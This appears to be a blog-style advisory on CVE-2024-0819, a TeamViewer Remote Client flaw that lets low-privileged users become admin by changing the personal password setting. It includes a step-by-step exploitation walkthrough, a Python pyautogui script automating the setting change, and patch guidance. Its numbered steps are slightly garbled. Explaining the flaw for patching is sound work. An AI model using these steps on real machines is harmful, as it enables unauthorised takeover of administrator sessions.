---

Introduction

In early 2024, a security flaw was disclosed in TeamViewer Remote Client (all platforms: Windows, Linux, macOS) before version 15.51.5. Labeled CVE-2024-0819, the bug allowed low-privileged users to become administrators simply by tweaking a single setting. Below, we’ll walk through exactly what went wrong, how it works, and ways to prevent it.

If you use TeamViewer, this is a must-read since the vulnerability can turn the tables for attackers who already have local access to a machine.

What Exactly Is CVE-2024-0819?

This vulnerability comes down to improper initialization of the “personal password” setting inside TeamViewer Remote. When a new user sets a personal password, it’s supposed to be limited to their profile. However, before v15.51.5, all users—even those with limited access—could set or override this password.

If an admin is already logged in, a normal user can simply change this setting, then use it in combination with the “Remote control” feature to get full administration privileges. The root cause? TeamViewer did not separate settings or enforce adequate permission checks on this critical security control.

Direct Impact

- Low-privilege users (think: interns, students, restricted accounts) can escalate to admin with a few clicks.

Walkthrough: Exploiting CVE-2024-0819

Let’s break down a hypothetical exploit step-by-step.

With access to TeamViewer’s GUI, click

Extras > Options > Security > Personal password

2. Establish a Remote Connection

Now, using a second device (your own phone, for example), open TeamViewer, input the local PC’s TeamViewer ID, and connect using the new personal password you just set.

3. You’re In... As Admin!

When the connection opens, because the admin session is *already active*, you inherit their privileges. You now see the full desktop, can change settings, and even disable the real admin account.

#### Sample Steps in Code (Python/pyautogui Script):

Suppose you want to automate step 1 using Python

import pyautogui
import time

# Open TeamViewer
pyautogui.hotkey('win', 'r')
time.sleep(1)
pyautogui.write('teamviewer')
pyautogui.press('enter')
time.sleep(5)

# Navigate to Extras > Options
pyautogui.hotkey('alt', 'e')
time.sleep(1)
pyautogui.press('o')
time.sleep(2)

# Go to Security tab and set password
pyautogui.press('tab', presses=5) # Adjust for placement
pyautogui.write('MySecret123!')
pyautogui.press('tab')
pyautogui.write('MySecret123!')
pyautogui.press('enter')

print("Personal password changed successfully.")

Note: This is simplified for educational purposes. Real-world exploitation is even easier using the GUI manually.

How Can You Stay Safe?

Solution: Update TeamViewer Remote Client to version 15.51.5 or newer on all devices.

- Patch notes: TeamViewer Change Log
- Official advisory: TeamViewer Security Updates

Official References

- TeamViewer Security Advisory - CVE-2024-0819
- TeamViewer Change Log

Conclusion

CVE-2024-0819 is a powerful example of how even small missteps with default settings can lead to serious privilege escalation. If you’re running TeamViewer older than 15.51.5, update immediately—and never underestimate what users with local access can do.

Timeline

Published on: 02/27/2024 14:15:27 UTC
Last modified on: 02/27/2024 14:19:41 UTC